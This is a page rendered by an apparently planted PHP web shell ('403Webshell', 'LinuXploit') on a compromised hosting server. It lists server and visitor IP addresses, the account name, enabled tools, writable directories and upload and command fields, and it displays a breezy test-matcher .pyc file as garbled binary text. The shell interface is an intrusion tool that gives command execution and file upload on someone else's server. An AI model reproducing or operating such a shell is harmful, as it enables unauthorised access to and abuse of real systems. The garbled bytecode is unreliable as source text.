403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.224
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/bzr/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/bzr/tests/__pycache__/matchers.cpython-313.pyc
�

p��g�
��b�SrS/rSSKJrJr SSKJr SSKJr	 "SS\5r
"SS\5rg	)
a,Matchers for breezy.

Primarily test support, Matchers are used by self.assertThat in the breezy
test suite. A matcher is a stateful test helper which can be used to determine
if a passed object 'matches', much like a regex. If the object does not match
the mismatch can be described in a human readable fashion. assertThat then
raises if a mismatch occurs, showing the description as the assertion error.

Matchers are designed to be more reusable and composable than layered
assertions in Test Case objects, so they are recommended for new testing work.
�ContainsNoVfsCalls�)�Matcher�Mismatch)�vfs)�request_handlersc�$�\rSrSrSrSrSrSrg)�_NoVfsCallsMismatch�'zEMismatch describing a list of HPSS calls which includes VFS requests.c��Xlg)N��	vfs_calls)�selfr
s  �;/usr/lib/python3/dist-packages/breezy/bzr/tests/matchers.py�__init__�_NoVfsCallsMismatch.__init__*s��"��c�,�SRSRURVVs/sHRnSRURSRURVs/sHn[U5PM sn55PMT snn55$s snfs snnf)Nzno VFS calls expected, got: {}�,z{}({})z, )�format�joinr
�method�args�repr)r�c�as   r�describe�_NoVfsCallsMismatch.describe-s|��/�6�6��H�H�"�^�^��+���O�O�A�H�H�d�i�i�!�&�&�8Q�&�Q��a��&�8Q�.R�S�+��
�
�	
��9R��s�5B�B�0B�BrN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr�__static_attributes__�rrr	r	's��O�#�
rr	c�.�\rSrSrSrSr\S5rSrg)r�8z7Ensure that none of the specified calls are HPSS calls.c��g)NzContainsNoVfsCalls()r$)rs r�__str__�ContainsNoVfsCalls.__str__;s��%rc�>�/nUHjn[R"URR5n[U[R5(dMOURUR5 Ml [U5S:Xag[U5$![a M�f=f)Nr)�smart_request_handlers�get�callr�KeyError�
issubclassr�
VfsRequest�append�lenr	)�cls�
hpss_callsr
r-�request_methods     r�match�ContainsNoVfsCalls.match>s����	��D�
�!7�!;�!;�D�I�I�<L�<L�!M���.�#�.�.�9�9�� � ����+���y�>�Q���"�9�-�-���
��
�s�*B�
B�Br$N)	rrr r!r"r(�classmethodr6r#r$rrrr8s��A�&��.��.rN)r"�__all__�testtools.matchersrr�breezy.bzr.smartr�breezy.bzr.smart.requestrr+r	rr$rr�<module>r=s9��"
����1� �O�
�(�
�".��.r

Youez - 2016 - github.com/yon3zu
LinuXploit